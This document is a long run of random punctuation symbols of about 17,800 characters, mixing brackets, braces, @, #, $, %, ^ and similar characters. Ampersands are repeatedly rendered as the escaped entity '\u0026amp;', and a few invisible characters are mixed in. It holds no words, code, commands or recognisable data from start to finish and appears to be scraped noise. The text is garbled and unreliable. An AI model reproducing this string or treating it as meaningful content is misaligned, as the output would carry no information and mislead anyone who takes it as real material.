)^]()@$!(#_!((@\u0026amp;**)*_[@^)#}$%(}\u0026amp;)()+))\u0026amp;[[!%\u0026amp;}{\u0026amp;{[+](#\u0026amp;+_#(({*#]^(#]))#}}@_*{^%+^ %!!%\u0026amp;((\u0026amp;\u0026amp;)@*!*!!^+^#*}#!\u0026amp;!*!+$)$!_%^+\u0026amp;[_+%{})(@[*{$$_)})[!*((_(++_@(${*#](#_]!{{ ]]])(^)*%[_*{!@##}[%#(\u0026amp;%%$[#+#{]+}@*+}}!($_}$}^[%_{][%{]@]_[$(_{#\u0026amp;)_![@)^*%{*#\u0026amp;$ }_+#{)@^$]_*$@+@][%^*%+\u0026amp;\u0026amp;[*^[[(*)(#!+]()$#$_@*+__)!\u0026amp;!+*@(\u0026amp;_^*[)${$+^$\u0026amp;]))_({@+[* _!_\u0026amp;}*$#%_\u0026amp;[@^^%{\u0026amp;\u0026amp;\u0026amp;${}!}{}{]{]}{]]_\u0026amp;%+![+!]_}[$[%[\u0026amp;*(_[_!@(+%_@({*_]+^*(_@##_\u0026amp;{ *\u0026amp;}@\u0026amp;^#}%%!^)!{}))!%[$^_^{@%*#!_[_\u0026amp;\u0026amp;!!^)[]@!{[+!^+([+%+*@[]}*^$$^#$]\u0026amp;$%$}@_[[[}! $(+$*@!*\u0026amp;^[!{+@[}$#\u0026amp;{}[+\u0026amp;^)}\u0026amp;*[]}*^#]$*]%^}\u0026amp;@)]${)$@@%[*$((_)[*@[%%\u0026amp;^\u0026amp;^}*{#^}\u0026amp;@} )*)_*^}%+_!{(_!#@@__\u0026amp;]*\u0026amp;_}_+*)(%_@]_@)\u0026amp;]{@(]*+\u0026amp;+@})@(__#}%$($[@)@$@}*}*#)%(((${! }{[(+#}^{}@((^]%@}({)%\u0026amp;(\u0026amp;[}(!\u0026amp;!!$^+_%^}_{\u0026amp;}!__){+$(}*)[![#%\u0026amp;%^\u0026amp;^__]\u0026amp;[!+{_!)${))* ]]]^_}#%!]_!*^}}!(%{)}($_\u0026amp;@^}]\u0026amp;]^#@)[^@(@)%_($!)[}*!^@#_^]^(^}(_(+%*)}\u0026amp;^][@^]}(} }{)}][[*]{#(+(@)[_]$$_\u0026amp;[]_\u0026amp;#$)_(\u0026amp;}][\u0026amp;}\u0026amp;%#)@%!)+!]{%*)^%{([!\u0026amp;^%)}+*)%\u0026amp;\u0026amp;(@*$$[{@$\u0026amp; ]^_!_@\u0026amp;@(*$)[*^)*()$({!!_)[((!*]{+[_{*+(#{%]%!(%!(^[{@}(]\u0026amp;$(%^%#^$$*[^#!_(\u0026amp;]$}!{ !^\u0026amp;\u0026amp;^*$!@*{}[*{{{_\u0026amp;(+#\u0026amp;+$%!^_^[($\u0026amp;+#_\u0026amp;@\u0026amp;]}[%}^{{$\u0026amp;!)}_[}(){[)%)$$_#_$}+$^()[%_]_ ]])![(]_(*@!)_!\u0026amp;{@__%{$[)]\u0026amp;!*$@()+_][@}\u0026amp;#_*)+%_%^\u0026amp;#${^]$$@+$\u0026amp;]\u0026amp;(%][\u0026amp;[@[^{*%@#+${ }^!_}{)_{$]_@{%*_\u0026amp;^_+{$[__]^\u0026amp;*[\u0026amp;*${{#[$%*\u0026amp;#\u0026amp;{_^$_[)!)%]^+(%}[$_@[$^_*_!{_{#\u0026amp;{()] }*_)@(\u0026amp;*[@%$$\u0026amp;))()}]!^+[{##@%+**)$)]\u0026amp;_]{^([\u0026amp;*\u0026amp;#$*\u0026amp;(]{([+\u0026amp;\u0026amp;^}*^$!_\u0026amp;%}\u0026amp;}!(}!__$[{\u0026amp; @*#(*\u0026amp;!_)%\u0026amp;__%#+%^[}!^![}@{}())%]!]!@*+)){!{\u0026amp;*+_}]{}{!^^$)@_)#_(!@^+^%@+(%]!{*+} *$]$*%}\u0026amp;__!{%)+)@)%\u0026amp;!]}!#\u0026amp;[*\u0026amp;#\u0026amp;+@(^{[$**$^#+)\u0026amp;}#)[][}$}*@_@!%\u0026amp;{{@!_#%]\u0026amp;]_]^%][({ _]*!]}@@+{{]%_($(^^^\u0026amp;#@[[%*]_@[#]{*+{_}!{\u0026amp;)+^@@$#)(){[!])$#[$\u0026amp;@)#+@][]{^](}%)+#% \u0026amp;[$%*#!}+_@$)_}[+^[^{})!}]_#(\u0026amp;}+[!)!}}*}}[_^((![#*_+[$$[*)(_{+\u0026amp;{@^*}()@@\u0026amp;$]^#+^\u0026amp; #\u0026amp;@{[^@)(}#[@@\u0026amp;$)]!%@)+*})[{%#{%^*}}{{}]\u0026amp;_$\u0026amp;\u0026amp;$()\u0026amp;#_{!}@(+$%@!*@]*$+\u0026amp;_()\u0026amp;!#}@@{+! (^\u0026amp;!^*@){%)@@)+*]!@$!#](%\u0026amp;}$_+}+@)}}[+\u0026amp;_+#!*[$$+[(\u0026amp;{!^{)[@_%[])@+)@\u0026amp;\u0026amp;(!!#$\u0026amp;+_+)* ]#\u0026amp;*^}\u0026amp;*}%+#()%()[+}([!$]#{%%+@@@{^^_#*]()^*^%]{+{$(][$])@}]{%]+]+*!!}^![#@*[@)+ +($\u0026amp;}]#^]%%(})${\u0026amp;\u0026amp;!\u0026amp;@@]$_+$[\u0026amp;@%})!*$]{_!_(^+%\u0026amp;_(*(+**%(_})[]$))%+([!{]#**)()([*) ]%+({^)(+#(\u0026amp;*#%#]^^**+^}}+[$_(+\u0026amp;!_{%\u0026amp;{(@\u0026amp;*^[%[_]*]@#@\u0026amp;)$#+!${!_$[#@!)@}}+_^#%{}# #({@)[\u0026amp;[})[+({_!+^+)]#[#[$_^((^@%}{[^_*$^!]*!*(^{@^}}*{{\u0026amp;*@+}![_#%^%[$\u0026amp;+\u0026amp;{@_%@#} ^^!([)]]^((@!_[#[^#+^+\u0026amp;)#[$#{}$+$]()!__$$#(#!#+[*#)@#_}_]@%#\u0026amp;$!@)]$\u0026amp;]##{*(\u0026amp;}}}[@ $\u0026amp;\u0026amp;]#@($%{(![$((^\u0026amp;*#(^@$}+[%_[}[]!!*%\u0026amp;]![%!*)[[%)[$({%[@[%]_!){!*]$}(@((#}[$^{@( %{#@!)++)\u0026amp;}$%)_^}[@$_}\u0026amp;)*#^$_)\u0026amp;@}[![+%+{@!$]*}[!!!([[^{}!{\u0026amp;$*)*@**^]_@\u0026amp;_%](*_[*( ^!@(*\u0026amp;_)$[$]@]!^*]*!^)@(*]{@[)]}\u0026amp;+!%[][(#$_[$}!!+{*](((([#@!($(_$@*\u0026amp;^#)\u0026amp;+*%{_\u0026amp;%$ }}\u0026amp;\u0026amp;[(%*]*[_]])$%}^)!#!*\u0026amp;_@(%$@_[_]$*)+)}+*+]#!^)_@#%(\u0026amp;(#}\u0026amp;([[${(+_{{!}#]+$@^]{} (@_{^%*]##*^!!)(}#{@*\u0026amp;#_}[[$)}[#\u0026amp;[)@}!_*}]#@+\u0026amp;!}{^@!*}{+$#}$]}([{\u0026amp;@+]+++*+[+@+\u0026amp;( [+${^!)}($[!#$\u0026amp;(^!{^])({%%@{+$)!)[#$@!]({(}\u0026amp;$$\u0026amp;{]](@+@)*$\u0026amp;$[\u0026amp;(!!(^**[*#!){+!!)$$ _{%{}!\u0026amp;+]*\u0026amp;[$}_!@_\u0026amp;{+%{+({(!]}}\u0026amp;_^_!@![)]}##)+!]^_#@%@[#^*+!*^${*)($_#___[*_)+)$ *!}^^+^$++\u0026amp;++*%]#$$$#^*^$!]]^%$%\u0026amp;*%@{#+)\u0026amp;)_](__#^]^\u0026amp;%!+(!#[}@[*_+^+_^)\u0026amp;%!\u0026amp;}#{*#( {}+${\u0026amp;@{}]]$%[^%%!(![}]}[)@(_%+\u0026amp;[}^#(@[^#\u0026amp;[[(+){+$[)(}*+{\u0026amp;}%{+_#_]#+}([^*}!$)\u0026amp;^! +!\u0026amp;}^%)%})#\u0026amp;*{]{%}^)^$+})*[\u0026amp;#$*\u0026amp;!]_]{$#)+\u0026amp;[(]$)@(+)\u0026amp;))^_{[_\u0026amp;\u0026amp;@%#{%}}_!++#!@{)}$} {)(*(]+##$[\u0026amp;({{_][$[*)#[[#!]{\u0026amp;)${\u0026amp;(*[*}%++\u0026amp;**\u0026amp;\u0026amp;%#}^}^]*(#!]*@{)#[_{}$[[#\u0026amp;{#@!%]+ {^{]{@*(%##[#$[$\u0026amp;^][_}]}!\u0026amp;{_!\u0026amp;[^\u0026amp;)[%\u0026amp;+*[+#_*)*+$]**%$]{_%**#+{]+}^_)@{{}]}{[+\u0026amp;@\u0026amp; #@^@@[*(^)[_#}{]](])!$\u0026amp;{}\u0026amp;*{}\u0026amp;)(**}*[@+}$]][)@}[\u0026amp;[#%$@){[^@%\u0026amp;{+}{{#*]_\u0026amp;[%#\u0026amp;]+$\u0026amp;_ ]^{(}+#^][(__#]}(}${)@(*)$(^*^!_!!{(!#{)#_]}[*_{_]](*@\u0026amp;\u0026amp;_]_{{]}]%{$_${!]]+$@][@$ $^\u0026amp;*(+$(*{$$%)%+]#_\u0026amp;#}*+@%[(__$}$(@_]{)\u0026amp;%\u0026amp;$_^%])(]$()(^#]_(!^@{{))\u0026amp;^$_({^)@()#%+ {%\u0026amp;((#)}}[#\u0026amp;$(}]+{^@{+}@]}+#}{(}+]!{*!![)}}+$\u0026amp;_%%*]*(!)$+#^$]}+*#*!(^^*_{)+]%)!* }^{)[)%])$$\u0026amp;\u0026amp;(]{\u0026amp;{@\u0026amp;#$*{@)%@+!%*#%%((@@[#*_@%($##!\u0026amp;!#$!#{$\u0026amp;^()]]($%]}#(_]!(!_%!_ ]$^%^\u0026amp;$#%%())_)!_{}]{@#{\u0026amp;})]$_!]%%]]}}[{[_)}}^((^^[!\u0026amp;*)\u0026amp;+)#\u0026amp;}%*($%+[@$[+}\u0026amp;#@[$(! @}{[!\u0026amp;_%]{_{*+$#\u0026amp;#*$%!@]}[$]!!^#^\u0026amp;)#}#__[@$#(})(_!((*#){)$#+%_%[{+#_+\u0026amp;@}[}^*%$\u0026amp;# @{[}^#{@}!@%}(*\u0026amp;@(!)]@)_@}%+!%}]%$\u0026amp;%][#$$)[#{)[^%]+{{*^\u0026amp;^}}^@%^]^{)[[)][])_+##*@ ($!^(#[+$#@[]{*([!@]]}%$^+@#(%[^}@_\u0026amp;@(!\u0026amp;{_)^%\u0026amp;$@^$[\u0026amp;!+^(%+]}@_]%!\u0026amp;(\u0026amp;{^${%*({_}%$ _%})%@__@$_@+)#+(^@^{^@_!](*]%_^^**@_#(*]_)$^]\u0026amp;}_**(+!}@}}}+@*]])\u0026amp;^_[$!!_*\u0026amp;)$)^[ {@@*!!}*_\u0026amp;)#[\u0026amp;{)]**$!_!_*\u0026amp;)+![\u0026amp;+)\u0026amp;^[$#\u0026amp;\u0026amp;!%])@]$_+\u0026amp;+)))!\u0026amp;@}[$+!\u0026amp;**%\u0026amp;*!+(^\u0026amp;[%!*}@$ \u0026amp;[@}]_[)[())^\u0026amp;%#+$#(}^]*}}_[#*_$#{(_+#}\u0026amp;\u0026amp;+%%}{+)[}))*^#^_+!+))\u0026amp;_]#({)@+*%_$_)}!\u0026amp; {\u0026amp;\u0026amp;%!$)\u0026amp;@%!}(\u0026amp;(]]]%!))#{@*@$\u0026amp;{_[%})!(@]@)${}{[_*^({\u0026amp;!_#\u0026amp;\u0026amp;^#!*{_{\u0026amp;!^+!%{}+{{\u0026amp;%@\u0026amp;[ !(%*(@[^+$@_\u0026amp;}#}#[}{^#({^}!)}*$$}(_(+)*!+)[]#+@(%\u0026amp;}}!)}!]$$^(%_)_\u0026amp;[\u0026amp;_%*#(^%)@[#) +$(_}^}}{]@_\u0026amp;+}_{}\u0026amp;#[**)#(!#!%_\u0026amp;\u0026amp;_!^!(+_@}%)#[\u0026amp;^)])_#_)#]{#!([$%%{+{\u0026amp;%$^!+_@%(]{ })]#]({][*%)_\u0026amp;^+}]!@\u0026amp;]\u0026amp;_{($^($*!%\u0026amp;#\u0026amp;[!(^@+@!}%]{@_@}[_$_@@^_\u0026amp;![@$+^+^^$!*#*{$[]! ^(!+[}\u0026amp;\u0026amp;@##_*!$%_{+)^%+_)@*][{!]$]#%{[%#(*(+$@{^*{+@#+#\u0026amp;#\u0026amp;+})*+%}[^+_$@@\u0026amp;@$+\u0026amp;}@* #}@%*}^\u0026amp;_@%)[\u0026amp;@]^{(!^}#_^(}(+{_}$\u0026amp;#!]{%@_^{}^#_#!]*@%)){*[$@\u0026amp;%]_)%}${+_(!*[^{})$ ]!*])\u0026amp;}[%\u0026amp;)*\u0026amp;#}}(][]\u0026amp;{+@)(+\u0026amp;^[(#}^*]#+\u0026amp;}]#![@*}()($#{}+_(#[{\u0026amp;}*{$_\u0026amp;[$^%%[$*[{%^) !#%**!^!\u0026amp;^@}!*@)[\u0026amp;[!__]]^(#\u0026amp;$%#\u0026amp;(@\u0026amp;#+{${%(+##$$[%%%^}@%+]!^)+#%{%%!+{[#}}+!)+#%[ !$${](]}_!\u0026amp;_(^^(_!{#*^{*#}{^[!#)\u0026amp;)!$_!@*^@^^)]@!{{{^[!!)])]@%+({*![@%#%^}))!${)] #))_\u0026amp;*]@^!!+@){[)][}$%!^+)%#$\u0026amp;]%_}(]$#}*\u0026amp;^_\u0026amp;){+%[)]}}[$*^_+})(%+\u0026amp;]^*$@[\u0026amp;!#}%}}(# }\u0026amp;]#)\u0026amp;]^$\u0026amp;[^%[*)^\u0026amp;(]}\u0026amp;+$@%^]@)+!+)\u0026amp;_})*%(_+]*_)#+#\u0026amp;_^{#+!!)(_#]*[%}]*!!@)%()![%+ {{⁠%$^)#^+[+^}#+^\u0026amp;}}{%%+*(+}(\u0026amp;%}%}){_\u0026amp;$]+)+)^#^*+@[@^[!^\u0026amp;)^!@(}{$*{*\u0026amp;_{@$\u0026amp;@!@#{!{ $)#![*]%+#*@$_^^!+\u0026amp;!]#)(#*$*%*@*+(*#_^!@\u0026amp;*]+{](*[+#_@]%{#[}^^%}[_}$+({!%+@@]]+\u0026amp;^ (*^(_@]_%(]+%_)@]\u0026amp;!{]@$[__)@[+$)%$!^{%^!)}]{[[(+*[\u0026amp;*(_^*{*^}]){[_))!(%!}$![#^$+\u0026amp; **${*+{$!^$$]*_%+@}{{(+_\u0026amp;$+*)]*@\u0026amp;!$#)*]}@@%!(#+){[!!+\u0026amp;)$$){#_@\u0026amp;%](^#]#}$)^*}!]\u0026amp;+ ]!%![_)]}){}\u0026amp;_$]%!_[_{%])#!#}%^{{@*$_@@%_\u0026amp;)%{)*}+$#{!($!{{[!@_+(@_+!$]#][]}{{⁠%_( (!_*$%^{@@^#{[[!_[\u0026amp;!)}!\u0026amp;%#$[+#]{](\u0026amp;^*%^@\u0026amp;})_)*[([%($^$^#*\u0026amp;%_*\u0026amp;%+$)}@^@+^#@%^\u0026amp;+^* +\u0026amp;#@%\u0026amp;](*@}\u0026amp;}#[{@@]+))\u0026amp;^#%!#*}#[+{!^]*+\u0026amp;{^)\u0026amp;}{#+}@+!]$@(\u0026amp;(##)_]$%#_+![}_}}}(($*[ )^#^*)_]%\u0026amp;%)^]_)!(+{^}{#^^]{@^_\u0026amp;#[^^\u0026amp;!#+_#]#\u0026amp;]((]]}@!#()$*!){*((%+^]+]_\u0026amp;\u0026amp;}}{(]{@ }$^##]+^$(*_{@%{({($\u0026amp;!_])*#(_]\u0026amp;(^!!)@{[^%$_{]^_^_[)%_]#\u0026amp;{{_#$\u0026amp;}{]#%){_\u0026amp;{_%!\u0026amp;[@)] !_${]*[+]}\u0026amp;$}@[[_}{#_^*#\u0026amp;}!+^{}#+)^%]{*+($({}^*^]#$+%+]#}({]{{*}{]\u0026amp;#_@\u0026amp;+[+]${)}) )\u0026amp;@*+@])](_%^#!))@#%)+!(!^@%[}{{(^}{}%\u0026amp;[$[+\u0026amp;$+}]!$%_[$!*]!{]^#@)+))$)#)@^^\u0026amp;]+#[^ @%_%*%)(}\u0026amp;%!%]%]$)\u0026amp;!]!}+)*(^\u0026amp;+\u0026amp;}@}}+]{^@^]^!$)+{!{(@]}]$@}])}}{%^@]#*\u0026amp;!!!%^\u0026amp;_\u0026amp;@@ \u0026amp;)}$*(!_*\u0026amp;!!(})(+)([]!]*^\u0026amp;+^^#{@*++}*+\u0026amp;+@!##}[$^_\u0026amp;_%(%\u0026amp;}*!]@}$]}]+))(!@@+^+{]!)% ^$^}@!!_$@{_{(}($%%{\u0026amp;@}_][#@${}\u0026amp;}*_)}@%)!}\u0026amp;{}*}@@(*\u0026amp;{+)%**\u0026amp;%]^}\u0026amp;(!_\u0026amp;]#$(}[#^[)#^ {@@#$\u0026amp;]][(@\u0026amp;]{_\u0026amp;[}\u0026amp;*$+[(^][\u0026amp;^][%*}+!]#%{!##$*{}++}+{!(#![@^()}!+)\u0026amp;**{{[**\u0026amp;\u0026amp;$!@%% )_#$\u0026amp;()$+[((_}]*!!_[*{*%[%+\u0026amp;$!}@({#%@%[%!%[!*](]%^}##@(*)]{@%@^@^#(]^[{_\u0026amp;\u0026amp;**)^+! *@($\u0026amp;!+@$]@_]\u0026amp;!(##@]\u0026amp;#]+*%[}(_@_@+!+^+$\u0026amp;(_!({++[#@!#(+_^)($\u0026amp;^*%(^\u0026amp;#_^!^^(+}$+_{) )_{^%%$]_!]$+@^[*}^*]+_$$\u0026amp;]^^+{\u0026amp;\u0026amp;\u0026amp;(}[{*^^@%%+)[^+$\u0026amp;@\u0026amp;)^%\u0026amp;($}*!\u0026amp;%#!*\u0026amp;$[%(]_{$])*[ *@}@*(!_[]{)@*]][(^%(##]{+\u0026amp;+$\u0026amp;($\u0026amp;^@{@^[%*+((%]$])(#$[%)#(*_#\u0026amp;^*$*+_[#{{{⁠%{}\u0026amp;({+$ #$)\u0026amp;$!]!^**[)^!!@(][^$$$(*@*(*{(\u0026amp;##%_%}]%^)*^%#$_($_@(\u0026amp;+#@{){{{_^!#!!*#$#$_]}*^# !{\u0026amp;++#^({{@$$@#)\u0026amp;*%[!]$\u0026amp;{^!%$+)}]_@+{*_]@)]{*]@+^]$}}]\u0026amp;)]#!_)}]@$@_[\u0026amp;_*)+(_}%#u( )^(())(){+@]\u0026amp;+_){(_%!{^^*^!)$+{+^#!}}]_[}^**(}*%($(+_%]))${)_*%\u0026amp;\u0026amp;]$!%^))\u0026amp;#({]$^$ _\u0026amp;**[_\u0026amp;[(%@%**)[*$[]#_\u0026amp;+^{@_\u0026amp;!{^]%#_)![]![@#\u0026amp;[}]_]!+{}{$+_((}]_{!)})%[*$^(+^)+}* _{@@@@)()#)@\u0026amp;[]*(}@%%@[*][(!%$@#%($#*]_[(*!{]+)*#({*{[{%[#{$^)]%!+#\u0026amp;](__}(]%+$\u0026amp;( {#${$\u0026amp;*$]#](}[[[)($%@!(@@^_#^\u0026amp;})_(![+_)}_%*}@%{!{+%@_(%\u0026amp;{#])()]#!(]%!$$#_*%@%_*[ }@$$)%}*@^}}{)%({_\u0026amp;[$)_}^(\u0026amp;!#)!@*%{%#^_@$)((()^)$@*@%_$%)*$(!$]*#*#+++_$\u0026amp;}{^]$@] !**$*{[}#@#{+}@$]]_[)@\u0026amp;](]*{]#(**^_!^(@^!#**}#}+{!$@]_]@!\u0026amp;}}*[#$}!!]{[{]!_{\u0026amp;!](^ [()[)#$*\u0026amp;!^[+%}(@{*%*{!}!$(%(#]^]\u0026amp;^#@!$)!{}#+\u0026amp;{)@)[*]($)@!{)*^*([{*}}+]}$++[%+^_ }#^+@[%$%$(*]_(*\u0026amp;]!+)[#}((([+{]##\u0026amp;%!)%{*({@^*#!]++[!^!#+@)$%*!_@[{^[${$}#{(}#)_[ )^}(+{(++(]}#@{\u0026amp;^@^_}!]!]%+[[(!_]${(*+[}*_@_@*_^@^_]+!)$)!)]*\u0026amp;*$}\u0026amp;[+[)%}#%^))]%^ +($@!]^[_%$__\u0026amp;@+[]^%@)[((]#\u0026amp;$\u0026amp;+}!+(}$^^+\u0026amp;{!)\u0026amp;@$$]}!![$\u0026amp;)\u0026amp;][+}+)#]#}(_@@^*!)_)[^$ @^\u0026amp;$^@*}_[!+^!#{^}!{[$[{{++^[+*##%+$(}{[^%@[\u0026amp;#!!*+[@(!#+){[)^!+_[[***+#[+\u0026amp;))*#@{ @{}#^^^*]{_%]+@*)$*[$@]#]{%_$_^}$\u0026amp;$]@]))#((*(\u0026amp;_@$[)]!%_$#]({\u0026amp;\u0026amp;[)])@_}*@]^!@}}%[{ )!%}_%!{^]_{\u0026amp;@%@%(+#^+}]*#)*%$%{%*#(#{}@)}([%_{^}_]#^[!_)\u0026amp;$*+{))_^+%!+}[@{]^+__# ^[_@{[%*@+$[*!$)$$\u0026amp;#(_[^+!)(^%_[{\u0026amp;}$]^}{\u0026amp;[!$[^{*[^)#@)(_(]#[\u0026amp;)]%[+@)]_+$_{}[@{)+ _+\u0026amp;]]!@^}#^\u0026amp;+@[\u0026amp;[%{{[)_]%[_^%**@}))]^*_}@@[}@{)\u0026amp;}#[{$!)}]%]]$_!!%!$@#@^()#]+%(\u0026amp;\u0026amp; +%@)($@)@^^^]+@_)})#)!^_#!@{*^!@*%^(_^@!!$%!\u0026amp;_+}((%(#\u0026amp;$$#}@#]^$+]$@\u0026amp;)^%}+)!$)\u0026amp;\u0026amp;^ !#[(}$}((\u0026amp;*$\u0026amp;+][++#]^_%!]]\u0026amp;+#%}\u0026amp;$*%*#_(#}+!^{[#!$)!@%_!!()(%!(_]{[$*!^+#]^{{}+{# _{*{+(#)#!@+${+$@]\u0026amp;*%}_+_@](%(*_}}+^(}$${}^!%}*#\u0026amp;*__(${(]}%^[^(!}##@@\u0026amp;)}*]%)[%$+ }][#{@$)!}*_{\u0026amp;+_{!]**($_[@^}\u0026amp;+\u0026amp;!(@%\u0026amp;%$)$_(!$_{^*]}+_](\u0026amp;^{!%_${@]^}\u0026amp;]%%@#!+%(%\u0026amp;_@ $@]\u0026amp;\u0026amp;_)^((}{}\u0026amp;^(_}@[]_^%\u0026amp;^)^)_@#%_*]\u0026amp;\u0026amp;[!}()*!_(@@+}@($!%^)$!]$%{[^[#({[*^^#{@_^} ]+!${)[^+!$*#%#{!#)__@$_^}\u0026amp;#{%)++)_!*{){_*]^\u0026amp;}{$[{(^{__+[[)@)@#%_%$^{@_}{}+$^)+@ ]((!*}^])@!^{+#%%{}+]{[}[![(^#{_}[(#_]%+)}*\u0026amp;}**]@*}]}[(}[{{#*+@#$#^)$++({[^#+**\u0026amp; ]}++(@!\u0026amp;^!#_{[\u0026amp;*!(![(\u0026amp;@{(]!+{(![$^\u0026amp;\u0026amp;}{}\u0026amp;{^*])#\u0026amp;)^#{!]\u0026amp;+)}@_]^$}@{+(#@[([@[++_#_[ ##(]{^^%{)*)!$#_*@$({[!))!@^*\u0026amp;@\u0026amp;(]+([^(*!+#@[^^^+!$]!}@+\u0026amp;{_*\u0026amp;{{!)}(!@]%_(\u0026amp;+[__%) $]]%++!!^^[$@(\u0026amp;@(%^!@!$)[{[%@))\u0026amp;^#}*\u0026amp;+((]([_^\u0026amp;}%!\u0026amp;+^*@($}}$\u0026amp;[$(}__{)+][%!@{({$]\u0026amp; $^+$#\u0026amp;*+*)!!+_*}\u0026amp;$\u0026amp;^#^*+*_}{%$*][#!$!{#*%%(}*%*@[](}][+)]@{#]($)[_#@^[!]%}%#[+[{ [%{*]\u0026amp;{${#_)(+%^}$}$}#)^^#($##%@{\u0026amp;}@){+*!+!%^{}@]%!}#*_^#+_\u0026amp;\u0026amp;\u0026amp;##^^[{})*((*{!_+)] $[@@}#[*%%_@}({##)[]%\u0026amp;]_]_[#(](}#)_]*#_)}%$[\u0026amp;}!^!)@#\u0026amp;*)\u0026amp;@%^{@#{@@)}{$)+\u0026amp;%%%](^${ +@##$*({+#_]!_{(]{!}%$\u0026amp;_})#($(_]*%+]_^%)$_)%^^!+{]}}{@%$@$+!]_!([[$(%)!$\u0026amp;}[%]]@} !(@}]{^^*{#*\u0026amp;(^}${!(]]^^%}\u0026amp;_%(*#]%!_$@}($%@(_#{!*@[\u0026amp;+#!{{[^]!#{${{*{![(_*^(_]%$[ @(^$_)@(!^@@#{{]})]*]^^*@][!@\u0026amp;)@^]%(]_$%${$^)@)_))][*^#))@*\u0026amp;%_{)}^_\u0026amp;\u0026amp;__#!*^\u0026amp;)^*_ +*!}^^{}{([\u0026amp;#{}]}$}@!%[$@]!#!+!^({))$}]#{\u0026amp;)!^)@}${@%^]%}#$%+^*)[\u0026amp;^+)+)@@#_^+)^\u0026amp;* \u0026amp;[^(({{*)_*)++#${[\u0026amp;+)]$\u0026amp;)]_%_\u0026amp;%\u0026amp;{!(}_}_}^[)]_@@\u0026amp;(![@}{{$}+#+^@%))@$*^)+^+]++\u0026amp;\u0026amp;*# @)###%^)\u0026amp;][%*_^\u0026amp;()%*[@^+%$@+@{*@([_+]}{){(^\u0026amp;}$(#[*\u0026amp;{)]\u0026amp;{$_^@\u0026amp;\u0026amp;}(+$@!++%*!+%^)!#[ #]^}{$}*@#@$$[]_!+]\u0026amp;+^@@){#\u0026amp;**}{{[%$[^!\u0026amp;@])\u0026amp;)_]%(!{*#@]#())+^_#{^](\u0026amp;](##[\u0026amp;[}^\u0026amp;%@ ({[!+@(]$\u0026amp;]\u0026amp;$[}+(\u0026amp;%%[!!\u0026amp;(@(*$*[}$@($%*}_]!_@!^_((${[}^%}+^**@%{%_!\u0026amp;$}$_)\u0026amp;*^^@\u0026amp;]! }*!@!\u0026amp;^{^}*@#[){%)%+]_$$+%$[(@){%*{++}$\u0026amp;[^\u0026amp;{]\u0026amp;#\u0026amp;@{#[]}]%$__$@^+$}*%))\u0026amp;!%!**#%+** $}\u0026amp;@*\u0026amp;*}^+^[\u0026amp;]}[_}__][]![\u0026amp;(!![]!(@#@\u0026amp;**}*([}*_}\u0026amp;!{})*_\u0026amp;$_][]@[@[)__}@]*]+]}^[$%! !{_^++}}))$*%!\u0026amp;}#[@{[^\u0026amp;\u0026amp;[_{!)}_]%@\u0026amp;+}}+[[\u0026amp;+}[[+\u0026amp;\u0026amp;!)!_{{^\u0026amp;]%*+!@^%$)+(%^+*^[+[]}* ]$#{_\u0026amp;_){*_@[@{@}{(^]%^%\u0026amp;(@\u0026amp;)(\u0026amp;\u0026amp;@[*\u0026amp;*%@{]!)$^^[[^}$#!$\u0026amp;_(@}%^()_+!)}[*!){}!(}*)\u0026amp; @+([!@{+{$^*##{(^@$#+![*}#$[\u0026amp;\u0026amp;^^#_^#%$*}#*+^@[]%#$@^+*)*#^$${)][#)\u0026amp;)(]^!@)!%@$]\u0026amp; %]\u0026amp;}!_%@*#}#}^\u0026amp;#[[!*)(#}]}])])+]#($)%]_@$(\u0026amp;(%][\u0026amp;)}_[@%^!{\u0026amp;!+\u0026amp;]$\u0026amp;#@+[\u0026amp;!^@^%%$[#%) #^%\u0026amp;{+(+^$+]}^(!}^#*}}\u0026amp;)*)$(}*\u0026amp;\u0026amp;}$@@#\u0026amp;!\u0026amp;[]_]+*)!)+_%))}%_\u0026amp;!%_$_+##^(@^\u0026amp;)%_@*_(\u0026amp;( }$]^@(%(*)((_^!%}%[}__]##+(_@{%%+*}*(^}(%)$}@+@_*[$+%*+)$}\u0026amp;![)}+#($#{@^##%!}!@)_ _)}}%+}\u0026amp;[+%%#_}]!%_$%#([#*](({(_$[!!}^{$_@^+(*_[#)]!$_^)*)!_}*$*$\u0026amp;(]!_[+*+\u0026amp;_*)*( \u0026amp;](]\u0026amp;\u0026amp;@+!@$$%{]+(($@\u0026amp;)}%}$]_{{)\u0026amp;*}%+[}($$\u0026amp;%_#]%#^^_}[+#!+(!#@%}_${(!])!]}{%$%%*] [)]}(_%]]!+*{+]_+#@)!{#()*__{+^^@#!((}#()*[${#(}^**[^+$\u0026amp;\u0026amp;*]_%\u0026amp;{$]!%{+$+)*}[\u0026amp;(}(# ++]}#[*%$}[$_$([$$}[**!!%{*\u0026amp;[$@^_\u0026amp;$$*#{![\u0026amp;^($([%$@{{{@))]#_]{$([[+[%#[^*{+(_%$+( ^$(!$}[(_^^}(\u0026amp;#*[[@]*[[_#]+__+*{_*)_\u0026amp;()@!@}#[++^!#^!!\u0026amp;^*((@%%(^^{{*[\u0026amp;+#(+\u0026amp;][{*){ #++!]%#_!+}@^](_]*^!+$]*$[^_[*\u0026amp;\u0026amp;@]*$![%%{}{\u0026amp;%{}][+(\u0026amp;}{)(\u0026amp;%]^))\u0026amp;}^*#_+$+@_@*#%%[$ !#}*!(_]+$@_[@%^(#_[*{!!($!)%+#%)%*%@@%{(!##*{\u0026amp;@#*{!!!)^(___*]_[#!%^[!*+!}%{#]($ }^+$]}$)}^__$)())@](@]]_\u0026amp;!*[\u0026amp;(*^_##$_)\u0026amp;)_!${$(($$$+$($)^#$(*}\u0026amp;$$)%]*{%@%(!*]\u0026amp;^[_ ]\u0026amp;*)](}{%$]}}%%]!_*{(_[]([^[@!}[[$^!}#)**%#$}#{#\u0026amp;%!%![_\u0026amp;(]^_#!!{+@+*@$^#+#@[}%*% $*%%{^^(*#*+^}{]]^\u0026amp;^{!@$*\u0026amp;%{%^)]$[_${[{^!(+{_*]@]}{%^}^$%(([}[+\u0026amp;[]^\u0026amp;^\u0026amp;#^)^$}[!@[ #[\u0026amp;[_##!\u0026amp;]*_$%$\u0026amp;^++^!]{%*\u0026amp;$%%)+%+!+({+)#$\u0026amp;@$@@*}__[@\u0026amp;{++$[$_](*_\u0026amp;{{_^*)%^_$@^{#_ @**]^)])*{^)*@%^)+**!%#)%!(_#!)(+#!+\u0026amp;{$*]^}%]{!_$^\u0026amp;!_@_)$%\u0026amp;#{^@^\u0026amp;!#\u0026amp;+\u0026amp;${#]*_)]^] 